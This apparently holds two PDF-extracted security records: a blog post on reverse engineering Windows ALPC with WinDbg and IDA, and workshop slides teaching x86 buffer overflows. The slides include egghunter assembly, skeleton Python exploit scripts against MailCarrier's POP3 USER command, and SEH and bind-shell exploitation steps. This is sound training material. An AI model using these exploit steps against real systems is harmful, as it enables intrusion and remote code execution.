text
stringlengths 100
9.93M
| category
stringclasses 11
values |
---|---|
0xcsandker
csandker
RSS Feed
//Posts
//History of Windows
//Archive
//Tags & Search
//ME
Switch Theme
Debugging and Reversing ALPC
29 May 2022
>> Introduction & Disclaimer
>> Environment Preparation
>> Getting Off The Ground
>> From User to Kernel Land
>> Hunting An ALPC Object
This post is an addendum to my journey to discover and verify the internals of ALPC,
which I’ve documented in Offensive Windows IPC Internals 3: ALPC. While preparing
this blog I gured a second post, explaining the debugging steps I took to verify and
discover ALPC behaviour, could be useful to all of us that are beginners in the eld
of reverse engineering and/or debugging.
Contents:
Introduction & Disclaimer
While I’ve certainly used the techniques and methods shown in this post below,
these where not my only resources and tools to dive into ALPC. Even implying this
would undermine the important and major work of other researchers that have
documented and reversed ALPC internals in the past, like Alex Ionescu and many
others. Hence this disclaimer.
TL;DR: The techniques below are practical and useful, but I was only able to apply
them due to the work of others.
Another important disclaimer is: I am - by no means - an experienced reverse
engineer and this blog post is not meant to be an introduction into ‘how to become
a reverse engineer’ or show a smart way to get in this eld. This is a ‘use Windows
debugging to stumble into a topic and make your way to look around’ post.
In order to follow the steps shown below you want to set up a kernel debugging
environment. If you already have a kernel debugging environment set up, feel free
to skip to section Getting Off The Ground. If you don’t, you’ve got two basic choices
for this setup:
>> Local live kernel debugging
>> Remote kernel debugging
Although the local kernel debugging option only requires a single test machine
(virtual VM) and only a single command and a reboot to set you up, I nevertheless
recommend starting two machines (VMs) and set up for remote debugging. The
reason for this is that local live kernel debugging comes with some constrains and
you can’t use the full debugging feature set and can’t go all routes. I’ll nevertheless
include the steps to set up local kernel debugging as well, in case you only have a
single machine at hand in your test environment.
Setup local kernel debugging
The following steps needs to be done:
1. Start up your testing machine or VM
2. If you do not already have WinDbg installed, download and install the
WindowsSDK from here to install WinDbg.
Alternatively you can also use the WinDbg Preview from the Windows Store App.
3. Open up PowerShell with administrative privileges and run the following
command to enable local kernel debugging: PS:> bcdedit /debug on &
bcdedit /dbgsettings local
4. Reboot your machine
5. Open up WinDbg and enter local kernel debugging mode by running the
following command: .\windbg.exe -kl
Alternatively you can also open up the WinDbg GUI, click File » Kernel Debug
(Ctrl+K) » Local (Tab) » Ok
Environment Preparation
Local Kernel Debugging with WinDbg
A note about the customized layout shown above
In my case I like to have my debugging windows positioned and aligned in a certain
way (and also have the colors mimic a dark theme). You can do all of that by
starting WinDbg, open up and position all Windows the way you like them, change
the coloring (if you want) under View » Options » Colors and nally save all your
Workspace setup via File » Save Workspace to File. Once done, you can open up your
local kernel debugging WinDbg with your customized Workspace as follows:
.\windbg.exe -WF <Path-To-File>.WEW -kl
All WinDbg command line switches can be found here
Setup remote kernel debugging
1. Start your rst testing machine or VM that you want to debug, this will be
referred to as debuggee machine.
2. If you do not already have kdnet.exe installed, download and install the
WindowsSDK from here to install it.
3. Open up PowerShell with administrative privileges and run the following
command: cd "C:\\Program Files (x86)\\Windows
Kits\\10\\Debuggers\\x64\\\" && .\kdnet.exe <DEBUGER-IP>
<RandomHighPortNumber>'
I usually use *51111 as port number. This command will give you command
line instructions to use from your debugger, see step 6.*
4. Start your second testing machine or VM that you want to use to debug your
rst VM, this will be referred to as debugger machine.
5. If you do not already have WinDbg installed, download and install the
WindowsSDK from here to install it.
Alternatively you can also use the WinDbg Preview from the Windows Store App.
6. Run the following command to start WinDbg and attach it to your debuggee
machine: cd "C:\\Program Files (x86)\\Windows
Kits\\10\\Debuggers\\x64\\" && .\windbg.exe -k <PASTE-OUTPUT-
FROM-kdnet.exe-FROM-YOUR-DEBUGGEE> .
The command to paste from kdnet.exe (Step 3.), will look something like this:
net:port=<YOUR-RANDOM-PORT>,key=....
You will see a prompt indicating that the debugger is set up and is waiting to
be connected.
7. Reboot the debuggee machine. Switch back to your debugger machine, which
will connect during the boot process of your debuggee.
You may have noted that I’ve mentioned the WinDbg Preview store app as an
alternative to the classic WinDbg debugger. This preview version is a facelift version
of the classic debugger and comes with quite a different UI experience (including a
built-in dark-theme). If you’re looking at a one-time setup and are not emotionally
attached to the old/classic WinDbg I encourage you to try the WinDbg Preview. The
only reason I’m not using it yet is due to the fact that you can’t export your
Workspace setup (window layout), which is a crucial feature for me in my lab (which
i rebuild frequently).
As a result of that I will be using classic WinDbg in the below
Setting up symbols
Once you’ve setup WinDbg the last preparation step you’ll need to take is to setup
your debugger to pull debugging symbols form Microsoft’s ofcial symbol server.
Run the following set of commands within WinDbg to set up symbols:
1. Within WinDbg run .sympath to show your current symbol path
conguration.
If it looks similar to the below, which species that you want your symbols to
be loaded from Microsoft’s symbol server and cache those in C:\Symbols,
you’re good to go…
WinDbg .sympath check
2. If your output does not look like this and you simply want to pull all your
symbols from Microsoft’s ofcial symbol server, run the following command
within WinDbg: .sympath
srv*https://msdl.microsoft.com/download/symbols
More about symbol servers, caching and the how & why can be found in Microsoft’s
documentation page here.
Let’s say we know nothing at all about ALPC and want to start digging and
understanding how ALPC works under the hood. As ALPC is undocumented we
cannot start our journey by sticking our head into Microsoft’s rich documentation
catalogues, but instead we have to a apply a methodology that is based on a loop of
reversing, making assumptions, testing assumptions and verication/falsication of
assumptions to nally build our picture of ALPC.
Getting Off The Ground
Alright, if we do not know anything about a technology beside its name (ALPC), we
can ring up our WinDbg kernel debugger and start to get some information about
it by resolving function calls that contain the name “ALPC” - this might not be the
smartest starting point, but that doesn’t matter, we start somewhere and make our
way…
The WinDbg command we need for this is: kd:> x *!*Alpc*
Listing ALPC functions
This command will resolve function names of the following pattern
[ModuleName]![FunctionName] , where we can use wildcards (‘*’) for both the
module and function names. In this case that means we’re resolving all functions
that contain the word “Alpc” in their names within all loaded modules.
In case it’s your rst time with WinDbg (or you’re like me and tend to forget what
certain commands mean), you can always use WinDbg’s help menu to lookup a
command via: kd:> .hh [Command] , as shown below:
WinDbg's help menu
Side note: Although the command you’ve entered is pre-selected you actually have to
click the ‘Display’ button. Another option is to lookup the Debugger commands online
here.
If you get an error saying that that something could not be resolved, you likely do
not have your symbol path set up. Ensure you have your symbols either stored
locally or pulling from https://msdl.microsoft.com/download/symbols (or both). You
can check your sympath with: .sympath
WinDbg .sympath command
If you have your symbol path setup correctly, you’ll receive a good amount of results
showing all sorts of functions that contain the name “ALPC”. If things take too long
(because you made a typo, or things can’t be resolved or any other problem occurs)
you can always hit <CTRL>+<Break> or open the Debug menu and click Break to stop
the current action:
WinDbg's 'Break' command
From here you should copy all the resolved functions into an editor of your choice (I
use VisualStudio Code) and sort these by name to get a feeling for which Alpc
functions exists in which modules and may belong to which components. The
strong naming convention applied to the Windows codebase will help you a lot
here, so let’s have a look at this:
Example of function naming convenction in Windows
To make this more readable:
00007ff9`49498c54 >> The function address
ntdll >> The module name ("ntddl" in this case)
! >> The seperator
Tp >> Abbreviation of the component ("Thread Poo
l" in this case)
p >> Abbreviation of the function type ("privat
e")
AllocAlpcCompletion >> Descriptive name of the functions
Looking only at this very rst resolved function call we can make the assumption
that this function is a private function within the ThreadPool component within
ntdll.dll, which likely does some allocation of some memory for something.
Applying this knowledge to all listed functions, we can sort and organize the
resolved functions to create a rough picture of where (in the codebase) these are
implemented:
Sorted ALPC functions
The value of this step is not being a 100 percent accurate or getting a label
assigned to each function, but instead create a rough mapping of which parts of the
OS are concerned with ALPC and which of these modules and function names sound
familiar and which don’t.
From here on we can drill down into modules that sound familiar (or interesting) to
us. For example we have spotted the ntdll module, which we know is the
userland border gateway for calling native system (kernel) services (functions). So
we can assume that Windows allows userland processes to call certain ALPC
functions, which comes down the the assumption of “ALPC is usable from userland
applications”.
Looking only at “*Alpc*” functions inside the ntdll module we can nd that there are
4 types of functions:
>> No-component functions, e.g.: ntdll!AlpcRegisterCompletionList
>> Nt-component functions, e.g.: ntdll!NtAlpcCreateResourceReserve
>> Zw-component functions, e.g.: ntdll!ZwAlpcCreateResourceReserve
>> Tp-Component functiosn, e.g.: ntdll!TppAllocAlpcCompletion
As the Nt and Zw functions are meant to call the same kernel functions (see here,
here and here for why they exist), we can safely ignore one them, so we’ll cut off
the Zw functions. I myself am not too familiar with the thread pool manager, so I’ll
drop the Tp functions as well, which leaves us with a much smaller set of
potentially interesting functions:
Sample selection of ALPC function
Once again the goal here is not to select a specic set of functions, but instead just
making a selection based on something. It’s always a good idea to select things you
know or that sound familiar and cycle down a learning path from there…
The upper list of the no-component ALPC functions does have a lot of function
names containing the words “CompletionList”, which might or might not sound
familiar to you. The bottom list of Nt ALPC functions on the other hand appears
quite heterogeny and based on the Nt component naming convention I would
assume that these functions are meant to be gateway functions from user-land to
kernel-land. We’ve drilled down this far so let’s take one these functions and start
the reversing job.
There is no right and wrong in picking one, you can be lucky and pick a function
that is meant to be used during the early stage of an ALPC setup, which has further
hints on how to use ALPC, or one might unknowingly pick a function that is only
meant for special ALPC scenarios… the joy of undocumented stuff…
At this point we can’t know which function is a good starting point, so let’s choose
one that at least sounds like its meant to be used at the start of a process, like
something with Create in its name:
Selected function: NTAlpcCreatePort
I obviously already know that this function is going to be useful, so forgive me the “let’s
pick something randomly”-dance.
Let’s re up Ghidra and have a look at the NtAlpcCreatePort function within
ntdll.dll :
NtAlpcCreatePort in Ghidra
Ok… this is not increadibly helpful… and also looks odd. A syscall is made with no
arguments and the function then returns the integer 0x79…
Double checking this decompiled code with the actual instructions displayed right
next to the decompiled window, does show a different picture:
From User to Kernel Land
NtAlpcCreatePort in Ghidra with assembly code
The actual code instructions show that the integer value 0x79 is moved into EAX
and then the syscall is made. Quickly double checking this with IDA Free to be sure:
NtAlpcCreatePort in IDA Free
Yep, okay that makes more sense. First take away here is: Ghidra is a really great
tool, the decompilation feature can be aky (even for simple functions), but on the
other hand: Automated decompilation is a massive feature that is handed out for
free here, so no hard feelings about some errors and manual double checking effort.
We gured the NtAlpcCreatePort function within ntdll.dll is pretty much
calling into kernel mode right away using the syscall number 0x79 (121 in
decimal).
From here we got three options to continue:
>> Head to the kernel straight away and look for a function with a similar name
and hope that we get the right one (ntdll and kernel function names are often
very similar) - This is the least reliable method.
>> Lookup the syscall number (0x79) online to nd the corresponding kernel
function.
>> Manually step through the process of getting and resolving the syscall
number on your host system - This is the most reliable method.
Let’s skip lazy option 1 (least reliable) and check out options two and three.
Lookup Syscall number online
One of the best (and most known) resources to lookup syscall numbers is
https://j00ru.vexillium.org/syscalls/nt/64/ (x86 syscalls can be found here).
Syscall reference from https://j00ru.vexillium.org/syscalls/nt/64/
For my Windows 10 20H2 system this great online resource directly points me to a
kernel function named “NtAlpcCreatePort”.
Stepping through the syscall manually
I’ve learned and applied the process from www.ired.team, all credits and kudos go to
ired.team !
We can use WinDbg to manually extract the corresponding kernel function from our
debugged host systems. There are 6 steps involved here:
1. Setting a breakpoint in ntdll at ntdll!NtAlpcCreatePort to jump into the
function. This can be done through the following WinDbg command:
kd:> bp ntdll!NtAlpcCreatePort
2. Verify our breakpoint is set correctly, via: kd:> bl
List breakpoints in WinDbg
3. Let the debuggee run until this breakpoint in ntdll is hit: kd:> g
4. Ensure we are at the correct location and have the syscall right ahead: kd:>
u . (unassemble the next following instructions)
Disassembled syscall in WinDbg
5. Lookup the offset in the SSDT (System Service Descriptor Table) for the syscall
number, 0x79: kd:> dd /c1 kiservicetable+4*0x79 L1
6. Checking the address of the syscall function using the SSDT offset: kd:> u
kiservicetable + (02b62100>>>4) L1
All these steps can be found in the screenshot below:
Dispatching a syscall in WinDbg
Using either of these three methods we would have come to the result that
ntdll!NtAlpcCreatePort calls into the kernel at nt!NtAlpcCreatePort
Now we’ve gured that we end up calling the kernel in nt!NtAlpcCreatePort , so
let’s have a look at this.
We can re up IDA Free (Ghidra would’ve been just as ne), open up ntoskrnl.exe
from our system directory, e.g. C:\Windows\System32\ntoskrnl.exe, load Microsoft’s
public symbols, and we should be able to nd the function call
NtAlpcCreatePort . From there on we can browse through the functions that are
called to get a rst idea of what’s going on under the hood for this call.
NtAlpcCreatePort in IDA Free
Following the rst few function calls will route us to a call to ObCreateObjectEx ,
which is an ObjectManager (Ob) function call to create a kernel object. That sounds
like our ALPC object is created here and IDA also tells us what type of object that is,
two lines above the marked call in the window on the right, a
AlpcPortObjectType . At this point I’d like to try to get a hold of such an object to
get a better understanding and insight of what this actually is. As the function
ObCreateObjectEx will create the object the plan here is to switch back to
Hunting An ALPC Object
WinDbg and set a breakpoint right after this call to nd and inspect the created
object.
NtAlpcpCreatePort breakpoint in WinDbg
After placing this breakpoint we hit g to let WinDbg run and once it hits we check
if we can nd the created object being referenced somewhere. The reliable method
for this is to follow the object creation process in ObCreateObjectEx and track
where the object is stored once the function nishes (the less reliable option is to
check the common registers and the stack after the function nishes).
In this case we can nd the created ALPC object in the RCX register once we hit our
breakpoint.
ALPC port object in WinDbg
Sweet we found a newly created ALPC port object. At this point the !object
command can tell us the type of the object, the location of its header and its name,
but it can’t add additional detail for this object, because it does not now its internal
structure. We do not know either, but we could check if there is a matching public
structure inside the kernel that we can resolve. We’ll try that with kd:> dt
nt!*Alpc*Port …
Resolved _ALPC_PORT structure in WinDbg
We once again used wildcards combined with the information we obtained so far,
which are: We’re looking for a structure inside the kernel module (nt) and we’re
looking for a structure that matches an object that we knew is of type
AlpcPortObjectType. The naming convention in Windows often names structures with
a leading underscore and all capital letters. The rst hit ntkrnlmp!_ALPC_PORT
looks like a promising match, so let’s stuff our captured ALPC port object in this
structure:
Applied _ALPC_PORT structure in WinDbg
That does indeed look like a match, however some attributes, that one would
expect to be set, are empty, for example the “OwnerProcess” attribute. Before we
throw our match in the bin, let’s remember we’re still in the breakpoint right after
ObCreateObjectEx , so the object has just been created. Walking back through
functions we’ve traversed in IDA, we can nd that there are a couple more functions
to be called within the AlpcpCreateConnectionPort function, such as
AlpcpInitializePort , AlpcpValidateAndSetPortAttributes and others.
Sounds like there is more to come that we want to catch.
Right now, we’re in some process that created an ALPC port (so far we didn’t even
bother to check which process that is) and we want to jump to a code location after
all the initialization functions are completed and check what our ALPC port
structure looks like then, so here’s a rundown of what we want we want to do:
1. We want to note down the address of our ALPC object for later reference.
2. We want to nd the end of the AlpcpCreateConnectionPort function.
3. We want to jump to this location within the same process that we currently
are in,
4. We want to load our noted ALPC object into the ntkrnlmp!_ALPC_PORT
structure to see what it looks like.
And here’s how to do that…
1. Noting down the ALPC object address… Done: ffffac0e27ab96e0
Noting down the ALPC Port object reference
2. Finding the end of AlpcpCreateConnectionPort … Done jumping to
0xfffff803733823c9
Finding the end of the AlpcpCreateConnectionPort function
3. Jump to this address within the same process can be done using this
command kd:> bp /p @$proc fffff803733823c9
Note: I’m also checking in which process I am before and after the call just to be
on the safe side
Jumping to the located address
4. Check ALPC Objet structure again…
Re-applied _ALPC_PORT structure in WinDbg
That looks more complete and we could walk through an all setup ALPC object from
here as easy as using the links provided by WinDbg to inspect what other structures
and references are linked to this object.
Just for the sake of providing an example and to double conrm that this ALPC Port
object is indeed owned by the svchost.exe process that we identied above, we can
inspect the _EPROCESS structure that is shown at ntkrnlmp!_ALPC_PORT + 0x18 :
_EPROCESS structure of the owning process in WinDbg
We nd the ImageFileName of the owning process of the ALPC object that we’ve
caught to be “svchost.exe”, which matches with the process we’re currently in.
At this point we’ve found an all setup ALPC port object that we could further dissect
in WinDbg to explore other attributes of this kernel object. I’m not going any deeper
here at this point, but if you got hooked on digging deeper feel free to continue the
exploration tour.
If you’re following this path, you might want to explore the ALPC port attributes
assigned to the port object you found, which are tracked in the
nt!_ALPC_PORT_ATTRIBUTES structure at nt!_ALPC_PORT + 0x100 to check the
Quality of Service (QOS) attribute assigned to this object ( nt!_ALPC_PORT + 0x100
+ 0x04 ).
If you found an ALPC port object with an (QOS) impersonation level above
SecurityIdentication, you might have found an interesting target for an
impersonation attack, detailed in my previous post Offensive Windows IPC Internals
3: ALPC.
_SECURITY_QUALITY_OF_SERVICE structure of the identied ALPC port object in WinDbg
In this case, it’s only SecurityAnonymous, well…
By now you should be all set up to explore and dig into ALPC. The rst steps are
obviously going to be slow and you (and I) will take a few wrong turns, but that is
part of everyone’s learning experience.
If I could add a last note to aid in getting on a joyful ride it’s this: I personally enjoy
reading good old, paperback books, to learn, dig deeper and to improve my skillset
with Windows internals. If you are of similar kind, you might as well enjoy these
book references (if you not already have them on your desk):
>> Windows Internals Part 1
>> Windows Internals Part 2
>> Inside Windows Debugging
>> Windows Kernel Programming
There already is a published 1st edition of this, but if you want the latest and
greates you might want to wait for @zodiacon’s new release.
… Enjoy your ride ;) …
Other Posts
Offensive Windows IPC Internals 3: ALPC 24 May 2022
Offensive Windows IPC Internals 2: RPC 21 Feb 2021
Offensive Windows IPC Internals 1: Named Pipes 10 Jan 2021 | pdf |
Hack%to%Basics%–%x86%Windows%Based%Buffer%Overflows,%an%introduc:on%to%buffer%overflows%
Instructor%-%Dino%Covotsos%– Telspace%Systems%
Co–Instructor%–%Manuel%Corregedor%
@telspacesystems%
Whoami'(x2)'?'
We%work%in%the%Penetra:on%Tes:ng%space%(Telspace%Systems)%
%
Approximately%20%years%in%
%
Trying%to%keep%some%sort%of%work/life%balance!%;)%
%
Various%qualifica:ons,%degrees%etc%
Agenda'
-%Introduc:on%to%the%workshop(We%are%here!).%
-%The%Stack%and%Registers.%
-%Basic%x86%ASM.%
-%Basic%exploita:on%techniques.%
-%Fuzzing.%
-%Introduc:on%to%variety%of%Skeleton%Python%scripts(copy%
paste%buffer%overflows,%remote%buffer%overflows%etc).%
Agenda'
-%Vanilla%EIP%overwrites%in%Immunity%Debugger.%
-%Overwri:ng%EIP,%Jumping%to%ESP,%execu:ng%Shellcode%
(generated%by%Metasploit%or%compiled%from%exploit-db/
shellstorm).%
-%Bad%characters%and%how%to%deal%with%them.%
-%Prac:cal%example.%
Agenda'
-%Introduc:on%to%SEH%exploita:on%techniques.%
-%Introduc:on%to%Mona,%basic%asm%jumps%and%shell%coding.%
-%Prac:cal%examples.%
Agenda'
-%What%are%egg%hunters?%%
-%Example%of%a%egg%hunter%being%u:lised%in%a%SEH%exploit.%
-%Ques:ons%and%Answers.%%
-%References.%
The%Stack%and%Registers(x86)%
The%8%32%bit%General%Purpose%Registers:%
%
Accumulator%register%(AX).%Used%in%arithme:c%opera:ons%
Counter%register%(CX).%Used%in%shid/rotate%instruc:ons%and%loops.%
Data%register%(DX).%Used%in%arithme:c%opera:ons%and%I/O%opera:ons.%
Base%register%(BX).%Used%as%a%pointer%to%data%(located%in%segment%register%DS,%when%in%
segmented%mode).%
Stack%Pointer%register%(SP).%Pointer%to%the%top%of%the%stack.%
Stack%Base%Pointer%register%(BP).%Used%to%point%to%the%base%of%the%stack.%
Source%Index%register%(SI).%Used%as%a%pointer%to%a%source%in%stream%opera:ons.%
Des:na:on%Index%register%(DI).%Used%as%a%pointer%to%a%des:na:on%in%stream%opera:ons.%
The%Stack%and%Registers(x86)%
REF:%hep://flint.cs.yale.edu/cs421/papers/x86-asm/asm.html%
Basic%x86%ASM%
X86%ASM%(for%this%workshop):%
%
add/sub%
xor%
mov%
push%
pop%
call%
jmp%(and%condi:onal%jumps)%
%
%Basic%exploita:on%techniques%
“Vanilla”'EIP'Overwrite:'
%
Direct%EIP%overwrite%with%ini:al%long%buffer(no%excep:on%handler%or%similar)%
%
Structured'ExcepGon'Handling(SEH)'exploitaGon:'
%
An%excep:on%is%an%event%that%occurs%during%the%execu:on%of%a%program,%and%requires%
the%execu:on%of%code%outside%the%normal%flow%of%control.%Structured%excep:on%
handling%is%a%mechanism%for%handling%both%hardware%and%sodware%excep:ons.%%
%
Overwrite%SEH%with%a%POP%POP%RET%instruc:on,%ESP%moved%towards%higher%instruc:ons%
twice%then%a%RET%is%executed.%
REF:%heps://docs.microsod.com/en-us/windows/desktop/debug/structured-excep:on-handling%
%Basic%exploita:on%techniques%
Structured'ExcepGon'Handling(SEH)'exploitaGon(conGnued):'
'
Typical%structure:%
%
“A”%buffer%+%(Next%SEH)/JMP%+%PPR%+%(nops)%+%shellcode%
%Basic%exploita:on%techniques%
Egghunters:'
'
A%egghunter%is%a%small%piece%of%shellcode%that%searches%memory%for%a%larger,%bigger%
shellcode%where%it%may%be%possible%to%execute%said%shellcode%(i.e.%in%cases%where%there%
is%only%a%small%amount%of%space%available%in%the%buffer,%this%is%very%useful)%
%
Egghunters%search%for%a%“TAG”%which%is%a%unique%4%byte%string,%in%memory.%We%then%
combine%a%string%together%so%that%it%is%unique,%such%as%WOOTWOOT%or%similar%where%
we%want%to%execute%our%actual%shellcode%once%found(i.e.%we%redirect%execu:on%flow).%
%Basic%exploita:on%techniques%
Egghunters,'example:'
'
loop_inc_page:%
or dx, 0x0fff // Add PAGE_SIZE-1 to edx
loop_inc_one:%
inc edx // Increment our pointer by one
loop_check:%
push edx // Save edx
push 0x2 // Push NtAccessCheckAndAuditAlarm
pop eax // Pop into eax
int 0x2e // Perform the syscall
cmp al, 0x05 // Did we get 0xc0000005 (ACCESS_VIOLATION) ?
pop edx // Restore edx
loop_check_8_valid:%%
%je%%%%loop_inc_page%%%%%%%%%%%%%%%%%//%Yes,%invalid%ptr,%go%to%the%next%page%
%
is_egg:%
%mov%%%eax,%0x50905090%%%%%%%%%%%%%%%//%Throw%our%egg%in%eax%
%mov%%%edi,%edx%%%%%%%%%%%%%%%%%%%%%%//%Set%edi%to%the%pointer%we%validated%
%scasd%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%//%Compare%the%dword%in%edi%to%eax%
%jnz%%%loop_inc_one%%%%%%%%%%%%%%%%%%//%No%match?%Increment%the%pointer%by%one%
%scasd%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%//%Compare%the%dword%in%edi%to%eax%again%(which%is%now%edx%+%4)%
%jnz%%%loop_inc_one%%%%%%%%%%%%%%%%%%//%No%match?%Increment%the%pointer%by%one%
%
matched:%
%jmp%%%edi%%%%%%%%%%%%%%%%%%%%%%%%%%%//%Found%the%egg.%%Jump%8%bytes%past%it%into%our%code.'
REF:%hep://www.hick.org/code/skape/papers/egghunt-shellcode.pdf%%&%heps://www.fuzzysecurity.com/tutorials/expDev/4.html%%
Fuzzing%
Google'DefiniGon:'
%
Fuzzing%or%fuzz%tes:ng%is%an%automated%sodware%tes:ng%technique%that%involves%
providing%invalid,%unexpected,%or%random%data%as%inputs%to%a%computer%program.%The%
program%is%then%monitored%for%excep:ons%such%as%crashes,%failing%built-in%code%
asser:ons,%or%poten:al%memory%leaks.%
'
Manual'TesGng'(GeneraGon,'mutaGon,'manual'coding'etc)'
'
Tools:'Spike,'Boofuzz,'Peach,'Sulley'etc'
Fuzzing%
Basic%Spike%Template:%
'
s_string_variable("USER");%
s_string(" ");
s_string_variable(”FOO");%
s_string("\r\n");
s_string("PASS%");%
s_string_variable(”F00");%
s_string_variable("\r\n");%
%
Skeleton%Python%Scripts%
On%your%USB/VM%there%are%addi:onal%scripts:%
'
Copy/Paste'Skeleton'Python'Scripts'(Local'BOF'example,'SEH)'
'
Shellcode = “<SHELLCODE>”
buffer = "A" * 884 + NSEH + SEH" + NOPS + shellcode + "D" * 8868
payload = buffer
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created”
'
Skeleton%Python%Scripts%
Socket'Based'Skeleton'Python'Scripts'(Local'BOF'example,'Vanilla)'
'
buffer = "A" * 5094 + ”JMP ESP" + NOPS + "C" * (882-len(shellcode))
print "[*] MailCarrier 2.51 POP3 Buffer Overflow in USER command\r\n"
print "[*] Sending pwnage buffer: with %s bytes..." %len(buffer)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(("192.168.0.150", 110))
print s.recv(1024)
s.send('USER ' + buffer + '\r\n')
print s.recv(1024)
s.send('QUIT\r\n')
s.close()
time.sleep(1)
print "[*] Done, but if you get here the exploit failed!"
Vanilla%EIP%Overwrite%
'41414141'–'The'Magic'Numbers.'
Our%aim%in%this%por:on%of%the%workshop%is%to%overwrite%the%EIP%register%by%sending%a%
long%string,%which%will%allow%us%to%redirect%program%execu:on%flow%to%shellcode%of%our%
choosing.%In%this%case,%it%would%be%calc.exe%or%a%bind%shell.%%
%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
Aeaching%to%the%MailCarrier%process,%using%Immunity%Debugger%(on%your%VM)%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
Vanilla%EIP%Overwrites%(MailCarrier)%
%
Skeleton%Python%Script,%which%will%send%6000%A’s%via%“USER”(on%your%VM)%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
Overwri:ng%EIP%with%“41414141”%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
Genera:ng%a%unique%paeern%with%msf-paeern_create%with%length%6000%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
Python%script,%with%unique%paeern%to%send%to%MailCarrier%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
Execu:ng%the%script,%which%carries%the%unique%paeern.%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
Obtaining%EIP%overwrite%with%a%unique%paeern,%we%copy%this%value%to%find%the%exact%offset.%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
Using%msf-paeern_offset%in%order%to%obtain%the%exact%offset,%in%this%case%5094%bytes.%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
We%create%our%“B”%buffer,%to%confirm%the%exact%offset%and%EIP%overwrite.%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
Confirming%the%correct%offset%and%EIP%overwrite%via%42424242%(“B”%*%4)%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
We%search%for%a%JMP%ESP%to%overwrite%EIP%with,%via%mona%with%“!mona%jmp%–r%esp”%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
Adding%the%JMP%to%the%Python%script.%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
We%place%a%breakpoint%at%that%address,%and%wait%for%the%breakpoint%to%be%hit,%confirming%jmp.%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
We%step%through%the%instruc:ons%and%confirm%that%we%land%in%our%“C”%buffer.%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
Genera:ng%our%bind_tcp%shellcode,%with%msfvenom.%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
Placing%it%in%to%our%Python%script%(1/2).%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
Placing%it%in%to%our%Python%script%%(2/2).%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
Execu:ng%our%Python%script%(full%exploit).%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
Obtaining%our%bind%shell%on%port%443.%
Vanilla%EIP%Overwrite%(MailCarrier)%
%
Using%Meterpreter%to%connect%to%the%bind%shell.%
SEH%exploita:on%
'41414141'–'SGll'the'magic'numbers,'just'different!'
Structured%excep:on%handling%exploits%compromise%an%applica:on%by%overwri:ng%the%
pointer%of%an%excep:on%handler%with%an%aeacker%controlled%address.%
%
The%“Structured'ExcepGon'Handler%(SEH)”%is%a%protec:on%mechanism%that%was%
implemented%to%mi:gate%the%abuse%of%buffer%overflows,%but%it%is%a%highly%flawed%one.%
REF:%heps://www.fuzzysecurity.com/tutorials/expDev/3.html%%
SEH%exploita:on%
Skeleton%Python%script%to%exploit%the%LIST%command,%post%authen:ca:on%(test/test)%
SEH%exploita:on%
Sending%10000%A’s%via%the%LIST%command.%
SEH%exploita:on%
EIP%is%not%overwrieen,%but%we%con:nue%program%execu:on.%
SEH%exploita:on%
EIP%is%now%overwrieen,%the%SEH%chain%our%A’s.%
SEH%exploita:on%
In%the%same%way%as%the%previous%exploit,%we%use%msf%to%create%a%unique%paeern%with%10000%
bytes.%
SEH%exploita:on%
Python%script%with%the%paeern.%
SEH%exploita:on%
SEH%chain%shows%overwrite,%we%then%match%that%with%msf-paeern_offset%to%6178%bytes.%
SEH%exploita:on%
We%modify%our%buffer%to%overwrite%nseh%and%seh%with%“BBBB”%and%“CCCC”.%
SEH%exploita:on%
SEH%Chain%now%shows%we%control%nseh%and%seh%accordingly.%
SEH%exploita:on%
We%use%“!mona%seh”%to%search%for%a%POP%POP%RET%instruc:on.%
SEH%exploita:on%
Our%PPR%instruc:on%is%then%added%to%our%exploit,%with%nseh%added%as%“G”%*%4.%
SEH%exploita:on%
We%place%a%breakpoint%at%our%PPR%instruc:on,%to%make%sure%it%is%being%executed%properly.%
SEH%exploita:on%
We%execute%our%PPR%instruc:on,%and%jump%to%our%4%“G”%buffer,%which%we%can%now%use%to%jump.%
SEH%exploita:on%
We%use%these%4%bytes,%to%assemble%a%JMP%SHORT%to%a%value%ader%the%handler(EB12)%
SEH%exploita:on%
We%modify%our%Python%script%to%add%our%nseh%jump%and%some%nops(we%want%to%land%in%the%nops).%
SEH%exploita:on%
Using%breakpoints%and%stepping%through,%we%finally%land%in%our%nops%and%can%add%our%shellcode.%
SEH%exploita:on%
Using%msfvenom,%we%generate%our%bind%shell%once%again.%
SEH%exploita:on%
We%add%this%to%our%final%exploit(1/2).%
SEH%exploita:on%
We%add%this%to%our%final%exploit(2/2).%
SEH%exploita:on%
We%then%run%the%final%Python%exploit,%and%hope%to%get%a%bind%shell%on%the%target.%
SEH%exploita:on%
Success,%we%have%our%bind%shell%wai:ng%on%port%443.%
SEH%exploita:on%
Connected%to%our%bind%shell%via%MSF.%
Egg%hunters%
Playing'with'limited'buffer'space'can'be'fun!'
'
An%egg%hunter%is%a%small%piece%of%shellcode%that%will%search%memory%for%a%specific%
paeern.%Once%this%is%found,%it%will%then%execute%the%full%shellcode%in%a%larger%area%of%
available%buffer%space(some:mes%done%via%another%stored%variable)%.%
%
We%will%expand%upon%the%SEH%exploit%from%the%previous%example,%with%the%use%of%a%egg%
hunter%to%find%our%shellcode.%
'
%
